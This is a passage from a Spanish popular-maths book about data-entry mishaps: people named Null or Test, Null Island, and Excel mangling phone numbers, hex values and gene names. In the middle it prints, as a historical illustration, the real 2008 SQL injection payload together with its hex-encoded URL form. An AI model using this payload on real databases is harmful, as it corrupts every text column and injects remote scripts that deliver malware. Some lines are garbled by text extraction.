dirigidos	 a	null	 y	uno	en	 concreto	preguntándome	 sobre	mi	dispositivo	TomTom
$NULL$.	 Pero	 el	 no	 va	más	 son	 los	 anuncios	 emergentes	 de	 «solteras	 calientes
cerca	de	null».

Creo	que	sé	qué	ha	ocurrido.	Comprobar	si	una	entrada	es	igual	a	NULL
es	un	paso	muy	útil	en	programación.	Escribí	un	programa	para	mantener	una
hoja	de	cálculo	con	todos	mis	vídeos	de	YouTube.	Cada	vez	que	he	de	entrar
nuevos	vídeos	necesito	 encontrar	 cuál	 es	 la	 siguiente	 fila	 disponible.	Por	 lo
que	 el	 programa	 establece	 inicialmente	active_row	=	 1	 para	 empezar	 en	 la
primera	fila	y	ejecutar	este	segmento	de	código	(lo	he	limpiado	un	poco	para
que	sea	un	poco	más	fácil	de	leer).

while	data(row	=	active_row,	column=1)	!=	NULL:
active_row	=	active_row	+	1
En	un	montón	de	lenguajes	informáticos	!=	significa	«no	igual	a».	Por	lo

que,	para	cada	fila,	comprueba	si	los	datos	de	la	primera	celda	no	son	iguales
a	 null.	 Si	 no	 son	 iguales	 a	 null,	 añade	 un	 1	 a	 la	 fila	 y	 sigue	 hasta	 que
encuentra	 la	 primera	 fila	 libre.	 Si	 mi	 hoja	 de	 cálculo	 tuviera	 filas	 que
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empezaran	con	apellidos	de	personas,	entonces	Steve	Null	podría	haber	roto
mi	código	(depende	de	lo	avanzado	que	sea	el	lenguaje	de	programación).	Las
bases	de	datos	de	empleados	más	modernas	pueden	fallar	durante	su	búsqueda
porque	 comprueban	 search_term	 !=	 NULL	 antes	 de	 continuar[2].	 Esto	 es
para	 detectar	 todas	 las	 veces	 que	 se	 clica	 el	 botón	 de	 búsqueda	 sin	 haber
introducido	ningún	 texto	en	 la	casilla	de	buscar.	Pero	 también	detiene	 todas
las	búsquedas	de	personas	que	se	llamen	Null.

Otros	 nombres	 legítimos	 también	 pueden	 ser	 descartados	 por	 las
bienintencionadas	 reglas	 de	 las	 bases	 de	 datos.	Un	 amigo	mío	 trabajaba	 en
una	base	de	datos	para	una	gran	compañía	financiera	en	Gran	Bretaña	y	esta
solo	le	permitía	introducir	nombres	con	tres	o	más	letras	para	así	descartar	las
entradas	incompletas.	Lo	cual	estaba	bien,	hasta	que	la	compañía	se	expandió
y	 empezó	 a	 contratar	 a	 personas	 de	 otros	 países,	 incluido	China,	 donde	 los
nombres	 con	 dos	 caracteres	 son	 algo	 de	 lo	 más	 habitual.	 La	 solución	 fue
asignar	a	dichos	empleados	nombres	anglicanizados	más	largos	que	encajaran
con	el	criterio	que	seguía	la	base	de	datos,	lo	cual	deja	mucho	que	desear.

Los	 macrodatos	 son	 muy	 emocionantes,	 y	 traerá	 consigo	 una	 serie	 de
avances	 y	 hallazgos	 increíbles	 que	 nos	 ayudarán	 a	 analizar	 los	 grandes
conjuntos	 de	 datos	 —así	 como	 también	 todo	 un	 nuevo	 campo	 en	 el	 que
cometer	 errores	 matemáticos	 (de	 los	 que	 hablaremos	 más	 adelante—.	 Pero
antes	 de	 darle	 vueltas	 a	 los	 macrodatos,	 necesitamos	 primero	 recoger	 y
almacenar	esos	datos.	Llamo	a	este	proceso	«microdatos»:	mirar	los	datos	de
uno	 en	 uno.	 Tal	 como	 nos	 demostraron	 Steve	 Null	 y	 sus	 parientes,	 grabar
datos	no	es	algo	tan	sencillo	como	esperábamos	que	fuera.

Algo	parecido	a	lo	que	le	ocurre	a	Steve	Null,	le	pasa	igualmente	a	Brian
Test,	 Avery	 Blank	 y	 Jeff	 Sample.	 El	 problema	 Null	 se	 puede	 arreglar
codificando	 los	 nombres	 en	 un	 formato	 únicamente	 para	 datos	 de	 tipo
carácter,	para	que	así	no	se	confunda	con	el	valor	NULL.	Pero	Avery	Blank
tenía	un	problema	mucho	mayor:	los	humanos.

Cuando	Avery	Blank	 fue	 a	 la	Facultad	 de	Derecho	 tuvo	problemas	 a	 la
hora	de	obtener	una	pasantía	porque	sus	solicitudes	no	eran	tomadas	en	serio.
La	gente	 veía	 «Blank»	 en	 la	 casilla	 destinada	 al	 apellido	y	 suponía	 que	 era
una	solicitud	incompleta.	Siempre	se	tenía	que	poner	en	contacto	con	ellos	y
convencer	al	comité	de	selección	de	que	era	un	ser	humano	real.

Brian	Test	y	Jeff	Sample	(«muestra»	en	castellano)	padecieron	el	mismo
problema,	pero	por	 razones	 ligeramente	diferentes.	Cuando	creas	una	nueva
base	 de	 datos,	 o	 una	 forma	 de	 introducir	 datos,	 es	 habitual	 probarla	 y
asegurarse	de	que	todo	va	bien.	Por	lo	que	metes	algunos	datos	ficticios	para
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comprobar	 todo	 el	 proceso.	 Gestioné	 un	 montón	 de	 proyectos	 con
universidades,	y	a	menudo	los	alumnos	se	inscriben	en	línea.	Acabo	de	abrir
mi	base	de	datos	más	 reciente	de	esos	proyectos	y	me	he	 fijado	en	 la	parte
superior.	La	primera	entrada	corresponde	a	la	Sra.	Profesora,	quien	trabaja	en
el	 instituto	Test	de	 la	calle	Test	en	el	condado	de	Falseland.	Probablemente
tenga	 relación	con	el	Sr.	Profesor	del	 instituto	San	Falsington,	quien	parece
apuntarse	a	todo	lo	que	hago.

Para	evitar	ser	borrado	como	datos	de	prueba	no	deseados,	cuando	Brian
Test	empezó	un	nuevo	trabajo,	llevó	un	pastel	para	todos	sus	nuevos	colegas.
Impresa	 en	 el	 pastel	 había	 una	 fotografía	 de	 su	 cara	 con	 las	 siguientes
palabras	 escritas	 con	 glaseado:	 «Soy	 Brian	 Test	 y	 soy	 real».	 Al	 igual	 que
ocurre	 con	 un	 montón	 de	 problemas	 de	 oficina,	 el	 tema	 se	 solucionó	 con
pastel	gratis,	y	ya	no	le	borraron	nunca	más.

No	 solo	 los	 humanos	 borran	 a	 personas	 como	 Brian	 Test;	 a	 menudo
ocurre	 lo	 mismo	 con	 los	 sistemas	 automatizados.	 Las	 personas	 introducen
datos	 falsos	 en	 las	 bases	 de	 datos	 continuamente,	 por	 lo	 que	 los
administradores	 de	 estas	 establecen	 sistemas	 automatizados	 para	 intentar
eliminarlos.	Una	dirección	de	 correo	 electrónico	 como	null@nullmedia.com
(perteneciente	 a	 un	 humano	 real,	 Christopher	 Null)	 suele	 ser	 bloqueada	 de
manera	 automática	 para	 reducir	 el	 correo	 basura.	 Recientemente,	 un	 amigo
mío	 no	 pudo	 firmar	 una	 petición	 en	 línea	 porque	 su	 dirección	 de	 correo
electrónico	 tenía	 un	 signo	 +	 en	 ella:	 un	 carácter	 válido,	 pero	 uno	 utilizado
habitualmente	para	generar	direcciones	de	correo	electrónico	masivamente	y
para	hacer	spam	en	las	encuestas	en	línea.	Por	lo	que	fue	bloqueado.

Por	lo	tanto,	cuando	se	trata	de	nombres,	si	usted	ha	heredado	un	apellido
«prohibido»	 para	 las	 bases	 de	 datos,	 puede	 o	 lucirlo	 como	 una	medalla	 de
honor	o	pedir	un	formulario	oficial	para	cambiarse	de	nombre.	Pero	si	usted
es	padre	o	madre,	por	favor,	no	le	ponga	a	su	hijo	un	nombre	que	le	condene	a
una	vida	de	 lucha	 continua	 con	 los	ordenadores.	Y,	dado	que	desde	1990	a
más	de	trescientos	niños	en	Estados	Unidos	les	han	puesto	de	nombre	Abcde,
vale	 la	pena	decirlo	bien	claro:	no	 le	ponga	a	su	hijo	nada	parecido	a	Fake,
Null	 o	 DECLARE	 @T	 varchar(255),	 @C	 varchar(255);	 DECLARE
Table_Cursor	 CURSOR	 FOR	 SELECT	 a.name,	 b.name	 FROM
sysobjects	a,	syscolumns	b	WHERE	a.id	=	b.id	AND	a.xtype	=	‘u’	AND
(b.xtype	=	99	o	b.xtype	=	35	OR	b.xtype	=	231	OR	b.xtype	=	167);	OPEN
Table_Cursor;	 FETCH	 NEXT	 FROM	 Table_Cursor	 INTO	 @T,	 @C;
WHILE	(@@FETCH_	STATUS	=	0)	BEGIN	EXEC(‘update	[‘	+	@T	+	‘]
set	 [‘	 +	 @C	 +	 ‘]	 =	 rtrim(convert(varchar,[‘+	 @C	 +	 ‘]))+	 ‘’<script	
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src=3e4df16498a2f57dd732d5bbc0ecabf881a47030952a.	
9e0a847cbda6c8</script>’’’);	 FETCH	 NEXT	 FROM	 Table_Cursor
INTO	 @T,	 @C;	 END;	 CLOSE	 Table_	 Cursor;	 DEALLOCATE
Table_Cursor;

El	último	ni	siquiera	es	una	broma.	Da	la	impresión	de	que	me	he	quedado
dormido	 sobre	mi	 teclado,	 pero	 es	 un	programa	 informático	 completamente
funcional	 que	 escanea	 una	 base	 de	 datos	 sin	 necesidad	 de	 saber	 cómo	 está
estructurada.	Simplemente	 rastreará	 todas	 las	entradas	de	 la	base	de	datos	y
las	hará	accesibles	al	primero	que	sea	capaz	de	colar	ese	código	en	la	base	de
datos.	Es	un	ejemplo	más	de	humanos	en	línea	comportándose	como	idiotas.

Introducirlo	como	si	fuera	el	nombre	de	alguien	tampoco	es	poca	broma.
Se	conoce	como	ataque	por	 inyección	de	SQL,	nombrado	así	por	el	 famoso
sistema	 de	 bases	 de	 datos	 SQL;	 a	 veces	 pronunciado	 como	 «sequel»
(secuela).	 Implica	 introducir	 código	 malicioso	 a	 través	 de	 la	 URL	 de	 un
formulario	en	 línea	y	esperar	que	quien	esté	a	cargo	de	 la	base	de	datos	no
haya	colocado	las	suficientes	medidas	donde	toca.	Es	una	forma	de	hackear	y
robar	los	datos	de	otra	persona.	Pero	depende	de	que	la	base	de	datos	ejecute
el	código	que	has	conseguido	colar.	Puede	parecer	 ridículo	que	una	base	de
datos	procese	un	código	malicioso	entrante,	pero	sin	la	capacidad	de	ejecutar
códigos,	 una	 base	 de	 datos	 moderna	 perdería	 su	 funcionabilidad.	 Es	 un
malabarismo	 mantener	 una	 base	 de	 datos	 segura	 pero	 capaz	 de	 soportar
funciones	avanzadas	que	requieren	ejecutar	códigos.

Solo	para	que	quede	completamente	claro:	el	de	mi	ejemplo	es	un	código
verdadero.	No	lo	teclee	en	una	base	de	datos.	La	estropeará.	Ese	código	fue	el
utilizado	en	2008	para	atacar	al	gobierno	de	Gran	Bretaña	y	a	 las	Naciones
Unidas,	excepto	que	una	parte	fue	convertida	en	valores	hexadecimales	para
pasar	inadvertido	ante	los	sistemas	de	seguridad	que	buscan	código	entrante.
Una	 vez	 dentro	 de	 la	 base	 de	 datos,	 se	 descomprimirá	 de	 nuevo	 en	 código
informático,	encontrará	las	entradas	de	la	base	de	datos	y	luego	llamará	a	casa
para	descargar	programas	maliciosos	adicionales.

Este	era	su	aspecto	cuando	estaba	camuflado:
script.asp?var=random’;DECLARE%20@S%20
NVARCHAR(4000);SET%20@S=CAST(0×440045
0043004C004100520045002000400054002000760061
007200630068006100720028.	.	.
[otros	1.920	dígitos]
004F00430041005400450020005400610062006
C0065005F0043007500720073006F007200%20AS%
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20NVARCHAR(4000));EXEC(@S);--
Escurridizo,	 ¿eh?	 Desde	 nombres	 desafortunados	 a	 ataques	 maliciosos,

gestionar	 una	 base	 de	 datos	 es	 una	 tarea	 difícil.	 Y	 eso	 es	 incluso	 antes	 de
tenérselas	que	ver	con	cualquiera	de	los	errores	legítimos	que	se	producen	al
introducir	los	datos.

Cuando	los	buenos	datos	se	convierten	en	malos

En	Los	Ángeles	hay	un	pedazo	de	tierra	en	la	esquina	entre	West	1st	Street	y
South	Spring	Street	que	alberga	las	oficinas	de	LA	Times.	Es	justo	calle	abajo
desde	 el	 ayuntamiento	 y	 justo	 enfrente	 del	Departamento	 de	Policía	 de	Los
Ángeles	(LAPD	por	sus	siglas	en	inglés).	Debe	haber	algunas	zonas	difíciles
de	Los	Ángeles	que	los	turistas	deberían	evitar,	pero,	sin	duda,	esta	no	es	una
de	ellas.	La	zona	parece	todo	lo	segura	que	puede	ser…	hasta	que	compruebas
el	mapa	de	localizaciones	de	crímenes	denunciados	que	cuelga	el	LAPD	en	su
web.	Entre	octubre	de	2008	y	marzo	de	2009	se	cometieron	1.380	crímenes	en
esa	manzana.	Eso	es	más	o	menos	el	4%	de	todos	los	crímenes	que	aparecen
marcados	en	el	mapa.

Cuando	LA	 Times	 se	 percató	 de	 esto,	 preguntó	 educadamente	 al	 LAPD
qué	estaba	ocurriendo.	El	culpable	fue	 la	 forma	en	 la	que	se	codificaron	 los
datos	 antes	 de	 ser	 introducidos	 en	 la	 base	 de	 datos	 para	 crear	 el	mapa.	De
todos	los	crímenes	denunciados	se	registra	su	ubicación,	a	menudo	a	mano,	y
todo	 esto	 es	 automáticamente	 geocodificado	 por	 el	 ordenador	 a	 latitud	 y
longitud.	Si	el	ordenador	es	incapaz	de	resolver	la	localización,	simplemente
registra	 la	 ubicación	 por	 defecto	 de	 Los	 Ángeles:	 la	 puerta	 delantera	 de	 la
sede	central	del	LAPD.

El	LAPD	arregló	esto	con	el	método	tradicional	utilizado	cuando	había	un
exceso	repentino	de	criminales:	los	transportó	a	una	isla	lejana.	La	isla	Null.

La	isla	Null	es	una	nación	isleña,	pequeña,	pero	orgullosa,	situada	frente	a
la	costa	occidental	de	África.	Se	halla	a	unos	600	kilómetros	al	sur	de	Ghana,
y	 la	 puede	 encontrar	 poniendo	 su	 latitud	 y	 longitud	 en	 cualquier	 software
cartográfico	 de	 su	 elección:	 0,0.	 Dato	 curioso:	 sus	 coordenadas	 parecen	 la
expresión	 facial	de	cualquiera	de	 los	que	allí	deportan.	Y	es	que,	verá,	más
allá	de	 las	bases	de	datos,	 la	 isla	Null	no	existe.	Realmente	hace	honor	a	su
eslogan:	«¡Un	lugar	único	en	la	Tierra!».

Un	mal	 dato	 es	 el	 azote	 de	 las	 bases	 de	 datos,	 especialmente	 cuando	 el
dato	 ha	 sido	 escrito	 originalmente	 por	 humanos	 falibles	 con	 su	 imprecisa
escritura	a	mano.	Añadamos	a	esto	la	ambigüedad	de	los	nombres	de	algunos
lugares	(por	ejemplo,	tengo	un	despacho	en	Borough	Road,	y	existen	cuarenta

Página	58



y	dos	Borough	Roads	solo	en	Gran	Bretaña,	sin	mencionar	dos	Borough	Road
Easts),	y	tendremos	todos	los	ingredientes	para	que	se	produzca	un	desastre.
Siempre	que	un	ordenador	no	puede	descifrar	una	ubicación,	tiene	que	dar	un
valor	a	ese	campo,	y,	por	eso,	0,0	se	convirtió	en	la	ubicación	por	defecto.	La
isla	en	la	que	los	datos	malos	van	a	morir.

Excepto	que	los	cartógrafos	se	tomaron	esto	muy	en	serio.	La	cartografía
era	una	disciplina	bastante	anticuada	y	rancia	hasta	que	se	vio	influida	por	la
revolución	 tecnológica	 moderna.	 Hoy	 en	 día,	 tiene	 público	 por	 su	 peculiar
sentido	 del	 humor.	 Durante	 generaciones,	 los	 cartógrafos	 han	 estado
añadiendo	a	escondidas	lugares	ficticios	en	mapas	reales	(a	menudo	como	una
forma	de	destapar	a	personas	que	plagian	su	trabajo),	y	era	inevitable	que	la
isla	Null	cobrara	vida	por	sí	misma.	Por	lo	que	la	pusieron	literalmente	en	el
mapa[3].	 Si	 nos	 creemos	 su	 material	 promocional,	 la	 isla	 Null	 posee	 una
población	próspera,	una	bandera,	un	departamento	de	turismo	y	es	el	lugar	del
mundo	con	más	Segways	per	cápita.

Incluso	cuando	 los	datos	ya	han	sido	 incluidos	en	una	base	de	datos,	no
están	a	 salvo…	lo	que	nos	 lleva,	 finalmente,	a	Microsoft	Excel.	Mi	opinión
sobre	 Excel	 es	 de	 dominio	 público:	 soy	 un	 gran	 admirador.	 Es	 una	 forma
fantástica	de	poder	hacer	un	montón	de	cálculos	al	mismo	tiempo	y,	por	regla
general,	 es	 el	 primer	 lugar	 al	 que	 acudo	 cuando	 necesito	 hacer	 una	 gran
cantidad	de	cálculos	aritméticos.	Pero	hay	una	cosa	que	Excel	no	es:	una	base
de	datos.	Aunque	con	mucha	frecuencia	se	utiliza	con	ese	fin.

Hay	algo	seductor	en	las	filas	de	una	hoja	de	cálculo,	claras	y	fáciles	de
identificar,	que	invita	a	las	personas	a	usarlas	para	almacenar	datos.	Soy	tan
culpable	como	cualquiera:	una	gran	parte	de	mis	proyectos	pequeños	en	 los
que	 hay	 algún	 dato	 los	 guardo	 en	 hojas	 de	 cálculo.	 Es	 muy	 fácil.
Superficialmente,	 Excel	 es	 un	 gran	 sistema	 de	 gestión	 de	 datos.	 Pero	 hay
muchas	cosas	que	pueden	salir	mal.

Para	empezar,	el	hecho	de	que	alguien	camine	como	un	número	y	grazne
como	un	número	no	significa	que	sea	un	número.	Algunas	cosas	que	parecen
números	no	lo	son.	Los	números	de	teléfono	son	un	ejemplo	perfecto:	a	pesar
de	 estar	 formados	 por	 dígitos,	 en	 realidad	 no	 son	 números.	 ¿Cuándo	 ha
podido	 sumar	dos	números	de	 teléfono?	¿O	cuándo	ha	buscado	 los	 factores
primos	de	un	número	de	 teléfono?	 (El	mío	 tiene	ocho,	 cuatro	distintos.)	La
regla	general	debería	ser:	si	no	va	a	hacer	ninguna	operación	matemática	con
él,	no	lo	almacene	como	número.

En	algunos	países,	los	números	de	teléfono	empiezan	por	0.	Por	defecto,
los	números	normales	no	tienen	como	primer	dígito	un	cero.	Abra	una	hoja	de
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cálculo	y	escriba	«097»	y	pulse	 intro.	El	cero	desaparecerá	 inmediatamente.
Este	 es	 un	 ejemplo	 bastante	 personal,	 porque	 hace	 varios	 años	 tenía	 una
tarjeta	de	crédito	en	 la	que	 los	 tres	dígitos	de	seguridad	escritos	en	el	dorso
eran	097	 (las	palabras	 importantes	 en	 esta	 frase	 son	«hace	varios	 años»;	no
me	van	a	pillar	por	ahí).	En	muchas	páginas	web	eliminaban	el	primer	cero
nada	más	 introducirlo	y	 luego	aparecía	el	mensaje	de	que	 los	detalles	de	mi
tarjeta	no	encajaban.

Es	 aun	 peor	 con	 los	 números	 de	 teléfono.	 Si	 introduce	 el	 número	 de
teléfono	 0141	404	2559,	 no	 solo	 desaparece	 el	 cero	 inicial,	 sino	 que	
1.414.042.559	 es	 un	 número	 realmente	 grande,	 bastante	 por	 encima	 de	 un
millardo.	 Por	 lo	 que,	 si	 lo	 introduce	 en	 Excel,	 cambiará	 el	 número	 a	 una
forma	 diferente	 de	 escribir	 los	 números:	 la	 notación	 científica.	 Acabo	 de
pegar	ese	número	en	una	hoja	de	cálculo	y	ahora	aparece	como	1,414E+9.	Si
hacemos	 más	 ancha	 la	 columna	 aparecerán	 los	 dígitos	 ocultos.	 Pero	 si
hacemos	 eso	 con	un	número	más	 largo,	 esos	 dígitos	 se	 podrían	perder	 para
siempre.

La	notación	científica	reduce	el	tamaño	del	número	al	no	incluir	todos	los
dígitos	específicos.	Por	 regla	general,	el	 tamaño	de	un	número	es	 indicativo
de	 cuántos	 dígitos	 tiene	 (antes	 de	 la	 coma	 decimal),	 pero	 cuando	 no
conocemos	 todos	 los	 dígitos,	 o	 estos	 simplemente	 no	 son	 importantes,
entonces	 el	 número	 acaba	 casi	 siempre	 con	 varios	 ceros.	 En	 el	 lenguaje
habitual,	ya	solemos	eliminar	los	dígitos	de	un	número	grande.	Por	ejemplo:
en	 la	 actualidad,	 el	 universo	 tiene	 una	 antigüedad	 de	 13,8	mil	 millones	 de
años.	Los	 dígitos	 importantes	 son	13,8	 y	 «miles	 de	millones»	nos	 indica	 lo
grande	 que	 es	 el	 número.	 Es	 mucho	 mejor	 que	 escribir	 13.800.000.000	 y
depender	de	los	ceros	para	expresar	el	tamaño	de	la	cifra.

La	notación	científica	va	un	paso	más	allá.	En	el	 lenguaje	convencional,
nos	gusta	redondear	los	millones	y	los	millardos	(o	miles	de	millones),	pero,
en	 ciencia,	 el	 punto	 decimal	 pasa	 al	 frente	 y	 se	 especifica	 el	 número	 de
dígitos.	Por	lo	que	la	edad	del	universo	es	1,38E+10.	Esa	E	es	realmente	una
forma	perezosa	de	escribir	un	exponencial:	el	universo	 tiene	una	antigüedad
de	1,38	×	1010	 años.	 Para	 las	medidas	muy	pequeñas,	 se	 utiliza	 un	número
negativo	para	expresar	el	tamaño.	Un	protón	posee	una	masa	de	1,67E-27	kg.
Eso	 es	 mucho	 más	 claro	 que	 escribir	
0,00000000	000000000000000000167kg.

Pero	 todos	 los	 dígitos	 de	 un	 número	 de	 teléfono	 son	 importantes.	 Sería
mucho	 más	 feliz	 si	 los	 llamásemos	 «dígitos	 telefónicos»	 en	 lugar	 de
«números	telefónicos»,	porque,	repito,	no	pienso	que	sean	números.	Si	alguna
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vez	no	está	 seguro	de	si	algo	es	un	número	o	no,	mi	prueba	es	 imaginarme
preguntándole	a	alguien	cuál	es	la	mitad	de	esa	cosa.	Si	le	pregunta	a	alguien
cuál	 es	 la	 mitad	 de	 estatura	 de	 una	 persona	 que	 mide	 180	 centímetros,	 le
responderá	que	90	centímetros.	La	altura	es	un	número.	Pregúntele	a	alguien
cuál	es	la	mitad	de	su	número	de	teléfono,	y	le	dará	la	primera	mitad	de	los
dígitos.	Si	la	respuesta	no	es	dividirlo,	sino	cortarlo,	no	es	un	número.

Además	de	convertir	cosas	que	no	son	números	en	números,	a	veces	Excel
coge	 cosas	 que	 son	 números	 y	 las	 convierte	 en	 texto.	 Esto	 sucede
principalmente	 con	 números	 no	 habituales	 que	 van	 más	 allá	 de	 nuestro
sistema	de	numeración	de	base	10.	Sistemas	como	el	binario	usan	un	número
reducido	de	dígitos;	el	usado	por	los	ordenadores,	con	base	2,	solo	necesita	el
0	y	el	1.	Un	sistema	numérico	necesita	tantos	dígitos	como	muestra	su	base,
razón	 por	 la	 que	 la	 base	 10	 tiene	 10	 dígitos:	 de	 0	 a	 9.	 Pero	 una	 vez	 que
pasamos	de	la	base	10,	no	hay	más	dígitos	«tradicionales»,	por	lo	que	hay	que
utilizar	letras.

Una	rápida	revisión	confirma	que:	4	×	4.096	+	C	(es	decir	«12»)	×	256	+	4	×	16	+	7	×	1	=	19.527

Si	convertimos	el	número	19.527	de	base	10	a	base	16,	tendremos	4C47.
En	este	caso,	 la	C	no	es	una	 letra,	a	pesar	de	que	sigue	pareciéndolo:	es	un
dígito.	Concretamente,	es	el	dígito	que	representa	un	valor	de	doce.	Al	igual
que	7	representa	un	valor	de,	bueno,	siete.	Cuando	se	quedaron	sin	dígitos,	los
matemáticos	 se	dieron	cuenta	de	que	 las	 letras	eran	una	 fuente	perfecta	que
aportaba	más	 símbolos	 y	 ya	 tenían	 un	 orden	 establecido	 y	 aceptado.	 Por	 lo
que	las	reclutaron	al	servicio	de	los	números,	causando	confusión	a	todos	los
demás.	Incluido	a	Excel.	Si	intenta	utilizar	letras	como	dígitos	en	Excel,	este
supone	razonablemente	que	está	tecleando	una	palabra,	no	un	número.

Página	61



El	problema	es	que	los	números	de	base	elevada	no	son	solo	el	juguete	de
los	 matemáticos.	 Si	 los	 ordenadores	 están	 obsesionados	 con	 los	 números
binarios,	 su	 siguiente	 amor	 son	 los	 números	 de	 base	 16.	 Es	 realmente	 fácil
convertir	 números	 binarios	 a	 números	 hexadecimales	 de	 base	 16,	 que	 es	 la
razón	 por	 la	 que	 los	 hexadecimales	 se	 utilizan	 para	 que	 los	 binarios
informáticos	sean	un	poco	más	manejables;	el	hexadecimal	4C47	representa
el	número	binario	completo	0100110001000111,	pero	es	mucho	más	fácil	de
leer.	 Puede	 entender	 los	 hexadecimales	 como	 binarios	 disfrazados.	 Páginas
atrás,	 lo	utilizamos	en	el	 ejemplo	de	 la	 inyección	de	SQL,	para	 esconder	 el
código	informático	a	plena	vista.

El	 error	 es	 intentar	 almacenar	 datos	 informáticos	 que	 utilicen	 valores
hexadecimales	 en	 Excel,	 un	 error	 que	 he	 cometido	 como	 cualquier	 otra
persona.	Tuve	que	almacenar	valores	hexadecimales	 en	una	hoja	de	 cálculo
de	 personas	 que	 habían	 microfinanciado	 colectivamente	 mis	 vídeos	 en
internet,	y	Excel	los	convirtió	inmediatamente	en	texto.	Eso	me	pasó	por	no
utilizar	una	base	de	datos	de	verdad,	como	haría	una	persona	adulta.

Para	 ser	 justo:	 esa	 es	 la	 mitad	 de	 la	 historia.	 Excel	 posee	 una	 función
integrada	que	convierte	entre	base	10	y	base	16	llamada	DEC2HEX	(si	alguna
vez	 pongo	 en	 marcha	 una	 boy	 band,	 la	 llamaré	 Dec2Hex).	 Si	 introduce	 el
texto:	DEC2HEX	(19527),	le	devolverá	4C47,	olvidando	inmediatamente	que
es	 un	 número.	 Si	 quiere	 sumar	 números	 hexadecimales	 juntos	 en	 Excel,	 o
dividirlos,	 o	 realizar	 alguna	 operación	 matemática,	 necesita	 convertirlos	 de
nuevo	a	base	10,	realizar	 las	operaciones	en	cuestión	y	volver	a	convertir	el
resultado.

Si	de	verdad	quiere	hacer	de	empollón	(¡demasiado	 tarde,	ya	 lo	estamos
haciendo!),	hay	un	caso	específico	en	el	que	Excel	se	carga	los	hexadecimales
al	 tratarlos,	 irónicamente,	 como	 un	 número.	 Pero	 es	 el	 tipo	 erróneo	 de
número.	 Por	 ejemplo,	 el	 número	 489	 en	 base	 10	 se	 convierte	 en	 1E9	 en
hexadecimal,	 pero	 cuando	 introducimos	 1E9	 en	 Excel,	 entiende	 la	 letra	 E
entre	 dos	 números	 y	 se	 da	 cuenta	 de	 que	 ya	 ha	 visto	 eso.	 ¡Es	 la	 notación
científica!	De	repente,	su	1E9	ha	sido	sustituido	por	1,00E+09.	De	489	a	mil
millones	en	un	abrir	y	cerrar	de…	un	cambio	de	formato.

El	 mismo	 problema	 aparece	 en	 todos	 los	 casos	 con	 «números
hexadecimales	que	no	contienen	dígitos	alfanuméricos	más	que	una	única	“e”,
donde	la	“e”	no	es	ni	el	primer	ni	el	último	dígito».	Esa	es	la	definición	del
problema	 tal	 como	 aparece	 en	 la	 Enciclopedia	 en	 línea	 de	 Secuencias	 I
Enciclopedia	 Online	 de	 Secuencias	 de	 Números	 Enteros,	 la	 cual	 lista	 los
primeros	99.999	casos[4].	Spoiler:	el	100.000º	es	3.019.017.
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Esto	 no	 se	 limita	 únicamente	 a	 empollones	 como	 nosotros	 que	 utilizan
hexadecimales.	Hablé	 extraoficialmente	 con	 un	 consultor	 de	 bases	 de	 datos
que	 estaba	 trabajando	 con	 una	 compañía	 en	 Italia.	 Tenían	 un	 montón	 de
clientes	y	su	base	de	datos	generaba	un	ID	de	cliente	para	cada	uno	de	ellos
utilizando	 algo	 como	 el	 año	 en	 curso,	 la	 primera	 letra	 del	 nombre	 de	 la
compañía	del	cliente	y	luego	un	número	correlativo	para	asegurarse	de	que	el
ID	 era	 único.	 Por	 alguna	 razón,	 su	 base	 de	 datos	 estaba	 perdiendo	 clientes
cuyos	nombres	empezaban	por	E.	Era	porque	estaba	utilizando	Excel	y	estaba
convirtiendo	esos	 ID	de	 cliente	 en	un	número	 en	notación	 científica,	 por	 lo
que	ya	no	lo	reconocía	como	un	ID.

En	el	momento	de	escribir	 esto,	no	existe	 forma	alguna	de	desactivar	 la
notación	 científica	 por	 defecto	 de	 Excel.	 Algunos	 dirían	 que	 es	 un	 cambio
sencillo	que	solucionaría	algunos	problemas	importantes	de	las	bases	de	datos
para	mucha	gente.	Más	personas,	 incluso,	dirían	que,	 siendo	 realistas,	no	es
culpa	de	Excel,	ya	que,	en	primer	 lugar,	no	debería	utilizarse	como	base	de
datos.	Pero	 si	 somos	 realistas	 reconoceremos	que	 lo	utilizamos	como	 tal.	Y
puede	causar	problemas	con	funciones	mucho	más	prosaicas	que	la	notación
científica.	La	corrección	ortográfica	deja	mucho	que	desear.

Autocorrección	de	genes

No	 soy	 biólogo,	 pero	 con	 solo	 buscar	 un	 poquito	 en	 internet	 me	 he
convencido	 de	 que	 mi	 cuerpo	 necesita	 la	 enzima	 «E3	 ubiquitina	 ligasa
MARCH5».	Cuando	 leo	 textos	 de	 biología	 pienso	 en	 cómo	 se	 deben	 sentir
otras	 personas	 cuando	 leen	 algo	 de	matemáticas:	 una	 cadena	 de	 palabras	 y
símbolos	 que	 parecen	 lenguaje	 ordinario,	 aunque	 no	 transmiten	 ninguna
nueva	 información	 a	 mi	 cerebro	 a	 medida	 que	 lo	 va	 analizando
sintácticamente.	Si	me	resisto	a	 la	necesidad	de	procesar	el	contenido	real	y
solo	me	 centro	 en	 la	 sintaxis	 general,	 puedo	 captar	 la	 esencia	 de	 lo	 que	 el
autor	está	intentando	decir.

En	 conjunto,	 nuestros	 datos	 indican	 que	 la	 falta	 de	 MARCH5	 produce	 una	 elongación
mitocondrial,	 la	 cual	 fomenta	 la	 senescencia	 celular	 al	 bloquear	 la	 actividad	 de	 Drp1	 y/o
fomentar	la	acumulación	de	Mfn1	en	la	mitocondria.

Extraído	de	la	publicación	de	investigación	de	2010
Journal	of	Cell	Science.

Traducido	a	un	lenguaje	más	asequible:	necesitamos	esa	cosa.

Afortunadamente,	 en	 el	 décimo	 cromosoma	 humano	 está	 el	 gen	 que
codifica	 la	 producción	 de	 esta	 enzima.	 El	 gen	 tiene	 el	 nombre	 pegadizo	 de
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MARCH5,	y	si	piensa	que	se	parece	mucho	a	una	fecha,	entonces	ya	se	puede
imaginar	hacia	dónde	va	esto.	En	nuestro	primer	cromosoma,	el	gen	SEP15
está	 ocupado	 fabricando	 otra	 proteína	 importante.	 Teclee	 esos	 nombres	 en
Excel	y	los	trasformará	en	Mar-05	y	Sep-15.	Codificada	como	01/03/2005	y
01/09/2015	(si	hurga	en	los	datos	de	Excel	en	una	versión	de	Reino	Unido),
toda	mención	de	MARCH5	y	SEP15	ha	sido	borrada.

¿Los	 biólogos	 utilizan	 el	 Excel	 para	 procesar	 sus	 datos?	 ¡¿Tiene	 el
fosfoglicano	 un	 extremo	 C-terminal?!	 ¡Sí!	 (Bueno,	 creo	 que	 sí.	 Era	 eso	 o
«¡¿Dónde	 se	 ocultan	 los	 genes	 BPIFB1?!»,	 pero	 tampoco	 estaba	 seguro	 de
